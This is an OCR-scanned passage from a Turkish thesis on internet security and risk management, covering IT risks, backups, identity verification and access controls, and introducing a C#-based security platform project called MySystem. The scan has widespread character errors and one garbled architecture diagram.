telekomiinikasyon yontemleri kullanilarak riskleri azaltmak miimkiin olabilmektedir.

7.6.1.3.2 Yazilim ve Donanim Hatalari

Yazilim gelistirici firmalar piyasaya sunduklari kodlar i¢in garanti verememekte,
ancak, belli bir siire iginde hatali kodu diizeltme yoluna gidebileceklerini taahhiit
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etmektedirler. Baz1 donanimlarda ise ilgili firmalar, gelisen iiretim teknikleri sayesinde en az
bir en fazla ii¢ y1l garanti verebilmektedirler. Ancak, sonug itibariyle iiretimden kaynaklanan,
gbzden kagan hatalar her zaman i¢in bir risk unsurudur.

7.6.1.3.3 Veri ve Sistem Kaybi

Verilerin saklandigi manyetik ortamlar zarar gorebilir, veri kismen veya tamamen
okunamaz duruma gelebilir. Bdyle bir durumda operasyonun devam edebilmesi agisindan
kisa siirede veriyi yeniden kazanabilmek Onemlidir. Bunun i¢in veriyi farkli bir ortamda
yedeklemek ve giivenli bir sekilde yeniden kazanmak gerekir. Bu da ancak muhtemel bir
kayip dncesinde yapilacak iyi bir planlamayla miimkiindiir.

Verilerin saklandigi, islendigi, iizerinde uygulamalarin calistig1 sistemler de yine
burada bahsedilen sebeplerden zarar gorebilirler. Bu durum isletmenin, kurum ya da
kurulusun asli gorevlerini yerine getirmesine bir engel teskil edebilir. Bu durumun da
onceden Ongoriiliip, bizzat sistemleri de yedeklemek suretiyle muhtemel bir sistem kaybinda
normal c¢alisma durumuna nasil hizli bir sekilde gelinecegi konusunun ¢ok iyi planlanmasi
gerekir.

7.6.1.3.4 Is Birimleri Arasinda Yetersiz Iletisim

Bilisim teknolojileri birimlerinin en ¢ok karsilastigi durumlardan biri de isletme
yonetimi ile zaman zaman diigiince ayriliklarina diismeleri olmaktadir. Bu nedenle
gereksinimler yonetimler tarafindan dogru algilanamamakta, bunun sonucunda yatirimlar
gecikebilmektedir.

7.6.1.3.5 Yetersiz Biitceleme ve Planlama

Teknoloji hizla degismekte, is yapis sekillerine uygun teknolojilerin kullanilmasi
giiniimiiz rekabet ortaminda zorunluluk arz etmektedir. Gerek ise uygun teknoloji
yatirnmlarinin yapilmasinda gerekse mevcut teknolojilerin giincellenmesinde Oncelikle
gereksinimler dogru olarak belirlenmeli, ardindan iyi bir planlama yapilmali ve bunun i¢in
yeterli biit¢e ayrilmalidir.

7.6.1.3.6 Projelendirme Hatalan

En sik yapilan hatalardan biri de projelendirme sathasinda gerceklesmektedir.
Gereksinimlerin  dogru  belirlenmemesi, gereksinimlere uygun olmayan ¢dziimlere
yonelinmesi, projenin ¢dziimleme sathasinda yapilan yanlislar, hatali zamanlama, eksik
kaynak kullanimi, yonetim desteginin eksik olusu, yanlig tasarim ve uygulamalar projelerden
istenen sonucu almamizi 6nleyebilmektedir.
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7.6.1.3.7 Yanhs Kaynak Kullanimi

Kaynak kullaniminin uygun yapilabilmesi i¢in is ihtiyaglarinin dogru belirlenmis
olmasi, bu ihtiyaglar1 karsilayabilecek uygun teknolojilerin tespit edilmesi ve uygulama
sathasinda egitimli insan giicliniin dogru yerde dogru olarak kullanilmasi kurumun bilisim
teknolojileri hizmetlerinden en iist diizeyde yaralanmasi i¢in gerekli asamalar olarak kabul
edilmektedir.

7.6.1.4 Dis Riskler

7.6.1.4.1 Dogal Afetler

Dogal afetlerden kagmamiz miimkiin olmayabilir ancak, hasar1 en az seviyede
atlatmak igin Onlemler alinabilir. Ornegin bilgisayar sistemlerinin kurulacagi mekanin
depremlere dayanikli olarak insa edilmesi, bir yedeginin bulunmasi, alternatif iletigim
sistemlerinin kullanilmasi, afet oncesi, afet sonrasi i¢in idari ve teknik anlamda cok iyi
planlama yapilmis olmasi, olas1 bir kayip sonrasi isletmenin kisa siirede normal isletime
gecmesini kolaylastiracaktir.

7.6.1.4.2 Sabotaj, Terorist Saldirilar, Siber Saldirilar

Stratejik 6nemi haiz kurum ve kuruluslarla ¢evrimigi aligveris sitelere sahip firmalarin
bilgisayar sistemleri muhtemel bir sabotaj, terdrist veya siber saldirilarin tehditi altindadir. Bu
sistemlerin zarar gormesi olasiligina karsi sistemler farkli bir yerleskede yedeklenmeli ve
muhtemel bir saldir1 sonrast normal isleyise doniis icin dnceden planlama yapilmalidir.

7.6.1.4.3 Fiziksel Tehditler

Bilgisayar sistemlerinin kuruldugu mekanlarin yangin ve su basmasi gibi tehditlere
acik ortamlar olmamasina dikkat edilmeli, bu tehditlerle ilgili erken uyar1 ve bilgisayar
destekli onleme sistemleri kurulmalidir. Sistemlerin zarar gérmesi olasiligina kars1 yedekleme
yapilmal1 ve olas1 felaket durumundan geri dontis planlari yapilmis olmalidir.

Yukarida ifade edilen tehditlere zaman i¢inde gelisen teknolojiler ve bu dogrultuda
degisen is siirecleri baglaminda ekler de yapilabilir.

Bir kurum veya kurulusun yukaridaki tehditlere gore onceden tedbirlerini almis
olmasi, buna yonelik planlama yapmasi muhtemel bir tehditin en kisa siirede en az zararla
atlatmis olarak yerine getirmeye devam etmesini saglayacaktir.

Bunun i¢in kurum ya da kurulus diizeyinde bir Risk YoOnetimi anlayisinin
benimsenmesi, organizasyonel anlamda bu yapinin tesis edilmesi gerekir. Risk yonetiminde
birinci asama ilgili kurum ya da kurulus i¢in riskin tanimlanmasidir. ikinci asama ise bunun
ol¢timiidiir. O nedenle risklerin sayisallagtirilmasina ihtiya¢ duyulmaktadir.
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Risk yonetiminin Onerdigi en iyi giivenlik uygulamalar1 ve iriinii ¢alisiyorken bile
sistem tamamen savunmasiz olabilir. Unutulmasi1 gereken tek sey; “En giivenli sistem, kapali
sistemdir”.

7.6.2 Risk Degerlendirmesi ve Kontrolii

Risk degerlendirmesi kurumlarin is akisinda kesinti veya felakete ugratacak,
organizasyonlarini olumsuz etkileyecek olaylarin ve ¢evresel faktorlerin belirlenmesi
calismasidir. Potansiyel zarar1 Onlemek i¢in gerekli fiziksel kontrollerin kurulmasi veya
kaybin etkilerini minimize etmek i¢in gerekli tedbirlerin alinmasini saglamaya yoneliktir.

Riskleri azaltmak i¢in Onerilen kontrollere iliskin fayda maliyet analizi yapilarak
yatirrmimn dogru ve verimli bir yatirnim olmasinin saglanmast gereklidir. Risk
Degerlendirmesinin belli bagli agsamalari su sekilde belirlenebilir:

e Kurumlarin karsi karsiya oldugu potansiyel risklerin tespit edilmesi,
e Kurum icinde Risk Azaltma/Onleme,
e Olasiliklarin degerlendirilmesi.

7.6.2.1 Kayip Ihtimalinin Arastiriimasi

I¢c ve dis kaynaklardan gelebilecek tehditlerin tespit edilmesi: Asagidaki maddelerle
sinirlanmamakla birlikte baglica tehdit kaynaklari su sekilde belirlenebilir.

Dogal, insan kaynakli, teknolojik felaketler

Kazara olanlar / kotii niyetli yapilanlar

I¢ kaynakl1 / dis kaynakli

Kontrol edilebilir riskler / organizasyonun kontrolii disindaki riskler
Onceden uyari veren olaylar / hi¢ uyar1 vermeyen olaylar

Olaylarin olma olasiliklarinin belirlenmesi

Olasilikla, etki derecesinin karsilagtirilacagi bir metot gelistirilmesi
Degerleme siirecine siirekli olarak destek verilmesinin tesis edilmesi

7.6.2.2 Kayip Ihtimalinin Azaltilmasi

Risk degerlendirilmesinde kurumun olasi giivenlik agiklarinin tespit edilmesi ve
asagida belirtilen giivenlik risk kategorileri dahil edilerek, risk ve tehlikeleri Onleyecek,
azaltacak, uygun maliyetli, etkin giivenlik 6nlemleri tasarlanmalidir.

Fiziksel/Bina giivenlik

Bilgi giivenligi: sistem odas1 ve veri giivenligi
Iletisim/haberlesme giivenligi: ses ve veri iletisimi giivenligi
Network giivenligi: intranet ve Internet giivenligi
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7.6.3 Bilgi Sistemlerinin Acil Durum ve Is Siirekliligi Planlamasi

Bilgisayar donanim ve yazilimlarindaki hizli ve 6nemli degisiklikler sonucunda
mevcut sistemlerin giincelligini ¢ok kisa bir siirede kaybetmesi nedeniyle, devamlilik
planlamasi1 Bilgi sistemlerinin alimi asamasinda baslamali ve sisteme yapilan her yeni
donanim ve yazilim eklemelerinde gézden gecirilerek yenilenmesi gerekmektedir.

Bilgi sistemlerine iliskin devamlilik planlamasinda, fiziki felaketlere ve faaliyetleri
kesintiye ugratacak diger nedenlere karsi gelistirilen fiziki nitelikteki korumalar yanisira,
donanim, yazilim, uygulama, belgeleme, siirecler, veri dosyalar1 ve haberlesme ile ilgili
yedekleme politikalar1 da olduk¢a 6nem kazanmaktadir.

Bilgisayar ortamlar1 ig¢in genel olarak yedekleme standartlar1 asagidaki hususlari
icermelidir:

Yazili yedekleme siiregleri,
Veri dosyalarinin listelenmesi, igerikleri ve konumlarinin belirlenmesi,
Donanim, yazilim ve ag siire¢lerine ait tanimlayici belgeler,
Yedekleme i¢in belirlenen bilgilerin transferleri ile ilgili riskleri minimize etmek.
Yedekleme faaliyetleri ile ugrasan elemanlar i¢in egitim programlar1 hazirlamak ve
sorumluluk seviyelerini belirlemek,

e Veri biitiinligl, miisteri gizliligi ve ¢iktilarin, saklama araglarinin ve donanimin fiziki
giivenligini saglamak.

Genel kural olarak verilerin yedeklenmesi i¢in ayrilan zaman, ayni bilgilerin
onarilmasi i¢in gereken siire ile karsilastirildiginda ¢ok daha az olmalidir. Etkin bir
yedekleme planinda yerine getirilmesi gereken faaliyetler net ve agik ifadelerle belirtilmelidir.
Bu anlamda yedekleme planlar1 su hususlari icermelidir;

e Yazilim ve veri yedeklerinin fiziki olarak ayri bir alanda konumlandirilmasi,

e Yenilemenin siklig1 ve yedeklerin ne kadar siire igin saklanacagi. (Dosyalarin ne
siklikla yedeklenecegi uygulamalarin ve dosyalarin 6nem derecesine baglidir. Giin sonu
yedekleme, Anlik yedekleme, Anlik sistem yedekleme gibi yontemler kullanilabilir.)

e Kullanilan yazilim ve donanimlarin, yedek sistemler ile uygunlugunun periyodik
olarak gbzden gecirilmesi.

e Yapilacak testler ile yedekleme hizmetinin etkinliginin diizenli olarak kontrol
edilmesi.

o Bilgi saklama araglar ile ilgili etiketleme, listeleme, iletim ve saklama faaliyetlerinin
etkin ve verimli bir sekilde yiirtitiilmesine yardimei olacak rehberlerin hazirlanmasi.

Uygulamalarin ve dosyalarin yedeklenmesi ile ilgili stratejik kararlar, s6z konusu
uygulama ve dosyalarin kurumun faaliyetlerinin siirdiiriilmesi i¢in sahip oldugu 6neme gore
verilmelidir. Yedekleme oncelikleri belirlenirken tiim bilgi tiirleri ve s6z konusu bilgilerin
kaybedilmesinin yaratacagi potansiyel etkiler dikkatli bir sekilde analiz edilmelidir.

Yedeklemenin disketlerle yapilmasi durumunda: isletim sistem yazilimlar1 ve
uygulama programlar1 yakin zaman igerisinde yenilenmis olsalar dahi mutlaka yedekleri
alinmalidir. Yedekleme disketleri dikkatli bir sekilde etiketlenmeli ve gerekli tim bilgiler
(kullanic1 boliimler, tarih ve kullanicilar) etiketlere yazilmalidir. Yedekleme disketleri
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koruma altina alinmig 6zel alanlarda muhafaza edilmelidir. Bu gibi saklama merkezleri olas1
her tiirlii tehlikeden maksimum korunacak sekilde yapilandirilmalidir.

Fiziki felaketlere ve diger olumsuzluklara karsi en iyi korunma yolu; donanimlari,
verileri, igletim sistemlerini, uygulama yazilimlarin1 ve belgeleme sistemlerini kapsayacak
etkin bir yedekleme siirecinin gelistirilmesidir.

7.6.4 Donanim Yedeklenmesi

e Merkezi islemcilerin fiziki olarak ayr1 bir bolgede konumlandirilmasi ve sistem
unsurlar1 ile tamamen uyumlu olmasi durumunda, kurum faaliyetleri, belirli kritik
uygulamalar i¢in kurum igerisinde yedekleme yapilmasina imkan taniyan birden fazla CPU
ile veya yerel bilgisayar aglar1 yardimu ile siirdiiriilebilir.

e Donanim yedeklemesi konusundaki en Onemli sorun maliyettir. Ancak kurum,
faaliyetlerinin kesintiye ugrayabilme tehlikesini g6z oniinde tutarak kabul edilebilir maliyetler
Olciistinde kendisi i¢in en uygun yedekleme politikasini belirlemelidir.

7.6.5 Program ve Yazilim Yedeklemesi

Tiim donanim platformlar1 i¢in program yedeklemesi asagidaki {i¢ temel alandan
olusmaktadir.

e Isletim Sistemi Yazilimlari,
e Uygulama Yazilimlari,
e Yazili Belgeler.

Isletim sistemi yazilimlarmin yedeklenmesinde dikkat edilecek noktalar:

¢ En son kullanilan bi¢gimlerinin en az iki kopyas1 yedeklenmelidir.

e Alinacak bu iki kopyadan bir tanesi isletim sisteminde meydana gelebilecek
problemlerin aninda giderilebilmesi icin teyp ve disk kiitiiphanesinde tutulmalidir. Diger
kopya ise kurum disinda giivenli bir yerde saklanmalidir.

e Alman kopyalar belli araliklarla test edilmeli ve calisan orijinal yazilim {izerinde
degisiklik yapildigi anda bu kopyalarda da gerekli diizeltmeler gerceklestirilmelidir.

7.6.6 Onay ve Yetkilendirme Siiregleri

Bilgi hirsizlari, gizki sirket bilgilerine ulasmak ve bu bilgileri ele gegirmek icin
genellikle ¢alisanlar, saticilar veya is ortaklart gibi davranarak aldatma taktikleri kullanirlar.
Etkili bilgi giivenligini siirekli kilmak i¢in, aryanin kimligini tespit etmeli ve bir istekte
bulunma yetkisi olup olmadig1 kontrol edilmelidir.

e Giivenilir Kisiden Gelen Istekler :
Giivenilir kisiden gelen is ya da bilgi talebi durumunda; Kisinin sirket biinyesinde
calistiginin ya da so6z konusu smifa ait bilgilere erisim kosulunun kontrol edilmesi

gerekmektedir. Bu yaptirnmin amaci, ilisigi kesilmis ¢alisanlarin, saticilarin ve miisterilerin ve
benzer kisilerin kendilerini ¢alisiyor olarak gdstermelerini dnlemektir.
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e Onaylanmamus Bir Kisiden Gelen Istekler:

Bu kisi istekde bulundugu zaman, istekte bulunan kisinin bu talepte bulunmaya yetkili
olup olmadigini belirlemek i¢in uygun bir onay siireci kullamlmalidir. Ozellikle de istek,
bilgisayarlar ya da bilgisayar donanimlariyla ilgiliyse. Bu siireg, saldirilarin basarili olmasini
engellmek i¢in temel bir 6nlemdir. Bu siire¢ basarili bir sekilde uygulanilirsa, saldir1 sayis1 ve
etkisi biiylik Ol¢iide azalacaktir. Siireci maaliyet acidan ve ¢alisanlarin bu yontemleri
bosverecegi kadar hantal yapilmamasida énemlidir.

Onay siireci agagidaki gibi islemektedir;

¢ Kisinin oldugunu sdyledigi kisi olup olmadiginin kontrol edilmesi.

e Talepde bulunan kisinin kurum biinyesinde c¢alistiginin veya bilme geregi
olusturabilecek bir iligkinin oldugunun belirlenmesi.

¢ Kisinin ilgili bilgiyi almaya ya da ilgili isi talep etmeye yetkili olup olmadiginin
belirlenmesi.

7.6.7 Kimlik Tespiti
Kimlik tesbitinin dogru olarak tanimlanmasi i¢in asagidaki adimlar uygulanmalidir;

e Arayan numaraya bakilarak, aramanin sirket i¢cinden mi yoksa disindan mi1 geldigi
bulunabilir ve arayanin verdigi kimligin goriinen ad ve telefon numarasiyla uyusup
uyusmadigi bakalir.

o Istek sahibine kefil olmus bir giivenilir kisi istekte bulunan kisinin kimligini
onaylamis olur.

e Kurum i¢inde kullanilan paralo ya da giinliik sifre gibi bir gizli bilgi, sakincal
kisilerin talaplerini gerceklestirmesine miisade etmez. Eger gizili bilgiyi ¢ok kisi bilirse,
saldirganin onu 6grenmesi daha kolay olur.

e Calisanin bagli oldugu yonetici aranir ve onay istenir. Diger bir yontem ise; Dijital
olarak imzal1 bir mesaj istenir. Boylelikle ilk adim olarak kisinin kimligi hakkinda bilgi sahibi
olunur.

7.6.8 Is Durumunun Kontrolii

En biiyiik bilgi giivenligi tehdidi becerikli bir saldirgan tarafindan gelmeyebilir. Cok
daha yakindaki birinden, kisa siire 6nce isten atilmig, intikam almak isteyen ya da sirketten
caldigr bilgileri kullarak kendine ¢ikar saglamayi hedefleyen c¢alisandan gelebilir. Bagka
birisine hassas bilgi vermeden o©nce kurumda calisip c¢aligmadigini personel telefon
rehberinden kontrol edilerek, arayanin yoneticisinden teyid edilerek ya da kullanilan bir
program sayesinde kisinin kurum igerisinde aktif olup olmadigi kontrol edilebilir.

7.6.9 Giivenlik Icin Kullanilan Cesitli Yontemler

7.6.9.1 Kimlik Kartlan

Kurum igerisinde kimlik kartlar1 kullanilarak yabanci kisilerin igeri girmesi ve sirket
hakkinda bilgi toplamasi engellenebilir. Bunun i¢inde, uzuktan taninabilecek biiyiik fotograf
iceren personel kartlarinin kullanilmasi gerekmektedir. Kart sahibinin calisan, miisteri,
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ziyaretci ya da stajyer oldugunu gosterecek renkli kartlar kullanilabilir. Boylece kurum
icerisinde ilk defa goriinen kisilerin ne amagla bulunduklari kolayca anlasilabilir.

7.6.9.2 Konum ve Sorumluluk Degisimleri

Bir sirket ¢alisaninin konumu degisir ya da sorumluluklari azalir veya ¢ogalirsa derhal
kullanicinin bilgileri degistirlmelidir. Kullanicilarin erisim kontrollerindeki amag, korunmast
gereken Dbilgilerin  agiga ¢ikmasini  kisitlamaktir. Kullanict  haklar1  agarken, islerini
yapmalarinda gerekli olan en diislik seviye seklinde ayarlanmalidir. Kurum igerisinde gorev
degisikligi sirasinda yeni tanimlamalar yapilmalidir.

7.6.9.3 Bilgisayarlar Hesaplarinin Kapatiimasi

Bir calisanin isine son verildiginde verilere ulasmak icin sirket sistemleri ve stirecleri
bilgisini kullanma tehlikesi vardir. Eski ¢alisanin kullandigi ya da bildigi tim bilgisayar
hesaplar1 hemen kapatilmalidir. Aksi halde biiyiik bir risk faktorii dogacaktir.

7.6.9.4 Hata ve Olay Bildirme Merkezi

Bir hata ve olay bildirme merkezi kurulmalidir. Bu konu ile ilgili sorumlu kisiler
secilmelidir. Bu kisiler sayesinde saldir1 aninda tesbit edililebilir ve olasi istenmeyen bir
durumun Oniine gegilmis olabilir. Bdylece saldirganlarin neyi hedefledigi de rahatlikla
bulunabilir. Saldir1 riski olan bilginin giivenligi daha da arttirilabilir.

7.6.9.5 Hassas Alanlar

Hassas bolgeler kesinlikle giivenlik altina alinmalidirlar. Riske ve maliyete gore karth
standart gegcis sistemleri ve biyometrik 6zellikli giris sistemleri kurulabilir.

Bilgisayar odasi her zaman kilitli olarak tutulmalidir. Giivenligin en iist seviyede
tutulmasi greken yerlerden biridir. Istenmayen kisiler buraya girerek kurumu en can alict
noktasindan vurabilir. Gerekirse odanin girig ve ¢ikisi kameralar yardimiyla izlenmelidir.

7.6.9.6 Parolari Degisimi

Bir kullanicin parolasi hesap sahibinin istegi dogrultusunda degistirilmelidir. Saldir1
yontemleri bakimindan en ¢ok bagvurulan yontem; Saldirgan parolosunu unutmus ya da
kaybetmis gibi davranabilir. Bunun ic¢in kisi sistem g¢esitli yontemler uygulanarak
dogrulanmalidir. Bu yontemler; sahsen imzalanmis yazili bir belge ve/veya dijital orarak
imzanmis elektronik posta ile yapilmalidir. Ayrica tiim parola islemleri 6 ay sonra
degistirilmeye yonelik ayarlanmalidir.
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7.6.9.7 Sirket Sistemlerine Uzaktan Erisimin Tanimlanmasi

Sirket agina uzaktan erisim i¢in kullanilan tiim baglanti noktalar1 degisken
parolalar ya da biyometrikler gibi giiclii tanimlama araglar1 ile korunmalidirlar. Bir ¢ok
kurum sabit parolalara giivenirler. Bu uygulama son derece sakincalidir ¢linkii glivensizdir.
Parolanizin sakincali bir kisi tarafindan ele gecirildigini ancak karsilasabileceginiz en kotii
durumla karsilastikdan sonra anlagilir.

7.6.9.8 Giivenlik ve Isletim Sistemi Giincellemelerinin Yiiklenmesi

Isletim sistemi ve uygulama yazilimlarina yénelik tim giivenlik yamalari, ¢iktiklari
zaman en kisa siirede yiiklenmelidir. Bu tiir giivenlik yamalalarinin uygulanmadigi bir
bilgisayar sistemi kuruma en biiyiik giivenlik tehlikelerinden birisini olusturur.

7.7 Risk Yonetiminde Kullanilan Araglar ve Yontemler

Teknik diizeyde riskin yonetilmesi i¢in degisik ara¢ ve yontemler kullanilabilir.

7.7.1 Risk Haritalar

Risklerin kaynagimmi ve oOnem derecelerini gostererek, kurumlarin riskleri
tanimlamasini, anlamasini ve dnlem almasina yardimci olan 6zet grafik ve ¢izimlerdir.

7.7.2 Modelleme Araglan

Risklerin sonuglarii ve etkilerini gdstermek amaciyla senaryo analizleri ve tahmin
yontemleri sunan araglardir.

7.7.3 Internet ve Intranet

Risk farkindaliginin artirllmasi ve yoOnetimi i¢in bilginin kurum i¢i ve gerektigi
sekliyle kurum disiyla paylasilmasi i¢in kullanilabilecek araglardir.

7.7.4 Diger Teknikler

Risklerin belirlenmesi i¢in kurum i¢i ¢alistaylar ve degerlendirme teknikleridir.

7.8 Risk YOonetiminde Roller

Risk yonetimi kapsaminda kurumdaki tiim ¢alisanlarin bir rolii bulunmaktadir. Risk
yonetimindeki roller de bu genel cergeve icinde degerlendirilmektedir. Bu boliimde, kurum
icinde risk yonetiminde degisik gruplarin istlenebilecekleri sorumluluklar ve roller
incelenmektedir.
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7.8.1 Ust Yonetimin Sorumluluklar

Risk yonetiminin kurum stratejilerine entegrasyonu

Risk yonetiminin yakindan izlenip gerekli destegin saglanmasi

Risk yonetim ¢aligmalarinin etkililiginin sorgulanmasi.

Risk yonetimi egitimlerinin saglanmasi

Risk yonetiminin daha sistematik hale getirilmesi i¢in gerekli yatirimlarin yapilmasi

7.8.2 Birim Yonetimlerinin Sorumluluklarn

Risk yonetim stratejilerinin kurum i¢inde uygulanmasinin saglanmasi.
Risklerin onceliklendirilmesi
Risk yonetiminin performansinin degerlendirilmesi
Risk yonetimi prensiplerinin karar verme siirecinin bir pargasi haline getirilmesi
e Risk yonetiminde yeterli planlama, gerceklestirme, egitim, kontrol, izleme ve
dokiimantasyon ¢aligsmasinin yapilmasi

7.8.3 Risk Yonetimi Uzmanlarinin Sorumluluklan

e Risk yonetimi ile ilgili Oneri, yOnlendirme ve yardimlarin tiim kurumun risk
politikalariyla ve iist yonetimin hedefleri dogrultusunda yapilmasi

e Birimlerin riskleri belirlemelerine ve risk degerlendirmesi yapmalarina yardimci
olunmas1

e Birimlere, daha etkili bir risk yonetimi i¢in yardimer araglar saglanmasi veya bu tiir
araglarin tasarim ve gergeklestirimine yardimci olunmasi

7.8.4 Tum Calisanlarin Sorumluluklari

e Risk yonetimi konularina kars1 ilgili ve bilgili olunmasi
e Islerin risk degerlendirmesi ¢ercevesinde yiiriitiilmesi
¢ Bilgi ve dokiiman saglanmasi

8. MYSYSTEM
8.1 Projenin Genel Tanimi

Bilgiye erismenin en basit, en kolay yolu Internet kullanma olarak karsimiza
cikmaktadir. Internetin sahip oldugu renkler, grafikler, resimler, sesler ve animasyonlar
sayesinde bilgiye erisme daha miilkemmel ve daha kalici olmaktadir. Internet tabanlh
projelerin hazirlanmasi ve Internet ortaminda sunulmasi sanildigi kadar kolay olmayan bir
istir. Internet sayfalarinin giinden giine degistigi ve bilgilerin siirekli giincellenmesinin gerekli
oldugu ve giivenligin bir o kadar 6nemli oldugu bir donemde, hazirlanacak olan projenin
tasarimlarin ve giivenlik stratejilerinin nasil olmasi gerekliligi konusu Internet tabanl
projelerin karsilastig1 sorunlarindan bir kagidir.
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Onceleri bir ¢ok kurum ve kurulus verilerini ve islemlerini Internet iizerinden
erisilebilir yapmaktan ¢ekinmistir. Sebeplerden birisi giivenlik, digeri de her ortamda oldugu
gibi Internet ortaminda da kotii niyetli insanlarin varligidir. Internet ortaminin giivenligi
heniiz verileri saldirganlardan tamamen koruyabilecek nitelikte olmasa da, gelisen teknoloji
saldirilar yeterli diizeyde etkisiz kilabilecek onlemler sunmaktadir.

Bilgi Teknolojileri projelerinin bagarili olmasi i¢in en 6nemli faktdr projenin iyi
yonetilebilmesidir. Bir projenin gereksinimlerinin karsilanmasi icin bilgi, beceri, ara¢ ve
tekniklerin tiim adimlar1 uygulanmasi gerekir.

Bu sistem, kullanicilarina hizmet olarak sundugu servislere altyapi saglayan bir
giivenlik platformudur. Bu platform iizerinde, kullanicilarla olan etkilesimi hizli bir ¢6ziim
sunarken ayni zamanda giinimiizde kullanilan giivenlik Onlemlerini ayni ¢at1 altinda
kullanmaktadir. Bu platformu bir uygulama servis saglayic1 (USS) modelinde tasarlamak, tek
bir erisim noktasindan yonetebilmek; modiiler ve dagitik bir yap1 ile gelisime agik, esnek bir
altyapiya sahiptir.

8.2 Projenin Amaci

Platformun etkilesim halinde oldugu tiim kullanic1 ve aktorlere performansli, giivenli,
kaliteli servisler verebilmesi ve mutlak kullanict memnuniyetidir.

8.3 Projenin Basari Kriterleri

Projenin basar1 kriterleri yonetilebilirlik, izlenebilirlik, esneklik, giivenilirlik,
giivenlik, performans ve kullanict memnuniyeti ana basliklar1 esas alinarak sekillendirilmistir.

e Yonetilebilirlik
e Izlenebilirlik
e Esneklik
0 Modiilerlik
o Olgeklenebilirlik
O Entegrasyon
e Giivenilirlik
0 Tutarlilik
e Giivenlik
0 Erisim ve yetkilendirme
0 Giivenli erisim
0 Virlis Tarama
e Performans
0 Hiz
0 Verimlilik
e Kullanict Memnuniyeti
0 Ozellestirilebilirlik
0 Kisisellestirilebilirlik
0 Geri bildirim
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8.3 Projenin Siiregleri

8.3.1 Baglatma

Internet Giivenligi ve Risk Yonetimi konusu dahilinde MySytem projesinin basartyla
sonuclanmasi i¢in; hangi siireglerden olusacagi, hangi amacla kimlere hizmet verilecegi
projenin ilk adimi olarak yerini aldi. MySystem’in internet ortaminda kayitlarin saklandig
sistemler i¢in gerekliliginin ortaya ¢ikmasi ve baslangicinin onaylanmast ile bu siire¢ basladi.
Projenin tanimi yapildi ve onaylandi.

8.3.2 Bilgi Toplama ve Planlama

Diger projelerde oldugu gibi, MySystem projesinin Onemi ortaya c¢ikmasi ve
baslangicinin onaylanmasi ile bu siire¢ basladi. MySystem projesi’nin kaliteli, hizli bir
sekilde olusturulmasi ve giincellenmelerin kolay yapilmasi i¢in planlama yapildi. Projenin
yonetilebilir, izlenebilir, esnek, giivenli ve kullanict memnuniyeti saglayan bir yapiya sahip
olmasi i¢in gerekli arastirmalar yapildikdan sonra, projenin dizayn asamasina gegildi.

8.3.3 Dizayn

Proje icin gerekli arastirma ve literatiir taramasi yapildikdan sonra bu siire¢ basladi.
MySystem projesinin giiniimiiz teknolojisine uyum saglayabilmesi i¢in projenin yazilacag:
uygun programlama dili ve ideal veritabani bu agamada belirlendi.

8.3.4 Gelistirme Standartlan ve Metodolojisi

MySystem projesi Visual Studio.Net 2003 kullanilarak, C# yazilim gelistirme dili ile
gelistirilmistir.  Uygulama gelistirme metadolojisi olarak XP (extreme programming)
metodolojisi benimsenmis olup, projedeki gelistirilen yapitaglari siirekli olarak gelisime agik,
test edilebilen bir uygulama gelistirme prensibi ile hizli ve siirekli gelisen bir yazilim
mantigiyla gelistirildi.

Proje icersindeki boliimler kullanict agisindan rahat anlasilabilir olmasi igin
renklendirme ve gorsel ¢alismalara da 6nem verilmistir. Bunun yapilmasinin sebebi; sistem
hakkinda herhangi bir bilgisi olmayan kisinin dahi rahathikla MySytem’i kullanabilir
olmasidir. Ayn1 zamanda boliimler hakkinda kullaniciya gerekli bilgide verilmektedir.

8.3.5 Kontrol

Diizenli olarak projenin gelisimi izlendi ve gerekli oldugu durumlarda diizeltici
faaliyetler planlandi. Hatalar ile karsilasildiginda, vakit kaybedilmeden hatanin giderilmesi
icin merkezi uyari sistemleri tasarlanilarak hayata gecirildi. Bunun i¢in .Net’in hata yakalama
makanizmasi olan Exception metodundan faydalanildi. Hatalar sistem ydneticisi tarafindan
takibe alinmasi i¢in veritabanina ve hatalarin kayit edildigi dosyaya kayit edilir.

80



8.4 Projenin Genel Mimarisi

Giliniimiizde birgok isletmede bilgi sistem uygulamalarinin basarisizlikla sonuglandigi
goriilmektedir. Bunun nedeni hangi bilgi sistem uygulamasi olursa olsun, yazilimin seg¢im,
gelistirme ve uygulama siirecinde dogru bir metodolojinin uygulanmamasidir. Dolayisiyla
yazilim se¢imi, bilgi sistem projelerinin basarisinda 6nemli bir rol oynamaktadir. Bu nedenle
yazilim se¢iminde kullanilacak olan metodoloji, ¢coklu alternatif ve kriterleri ele almal ve
degerlendirmelidir.

USS modelinde tasarlanacak olan bu yapinin yonetilebilir, izlenebilir, esnek,
giivenilir, giivenli, performansli ve mutlak kullanict memnuniyeti saglayan bir yapiya sahip
olmasi gerekir.

Sistemin basar1 kritelerini belirleyecek olan konu basliklar1 ve bu basliklarda yer
alacak olan 6zellikler asagida belirtilmistir.

INTERNET
C 5 N
1 1
1 1
Gilvenlik ! ! Glvenlik
Yonetilebilirlik | \ Performans
d 1) »il »
- H T ! g - ! . . . . >
SIRKET < 1zlenebilirlik E R UYGULAMA P ! Musteri Memnuniyeti R MUSTERI
Givenilirik | '
4; 1 ; )
Performans i i
- Ll 1
Esneklik | :
< > |
| A |
1 1
L g 4

Guvenlik
Performans
Misteri Memnuniyeti

\ 4
DIGER AKTORLER

Sekil 8.1 : Projenin Genel Mimarisi

8.4.1 Yonetilebilirlik

e Miisteri, kullanici, servis, modiil, sunucular ve ilgili tanimlamalar Internet {izerinden
tanimlanir ve bu bilgiler veritabaninda saklanir.
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Uygulamalarin durumlar1 kontrol edilebilir. Proje, takip sistemini agma ve kapatma
ozelligine sahiptir.

8.4.2 Izlenebilirlik

Servislerin, modiillerin ve uygulamanin log kayitlar1 izlenebilir. (Hangi tarihte, hangi
IP iizerinden hangi sunucu lizerinde hangi islemin ger¢eklestigi bilgisi saklanir.)
Sisteme giris ile ilgili raporlar ger¢ek zamanl olarak goriintiilenir.

Sistem yogunluklari sistem yoneticisi tarafindan izlenir.

8.4.3 Esneklik

Modiilerlik
0 Sisteme modiil olarak tanimlanan kiitiiphaneler sisteme Internet lizerinden
yiklenir.

Olgeklenebilirlik
0 Sistem iizerinde calisan servisler ve uygulamalar farkli sunucular iizerinde
calisarak sistemin yiik dengesi saglanir.

Entegrasyon
0 Uygulama etkilesimli olarak i¢ ve dis veri kaynaklari ile konusur.
0 Uygulamaya miisteriler gerektigine kullanilmak tizere kendi veritabanlarini
tanilayip veri yiiklemelerinde bulunabilirler.

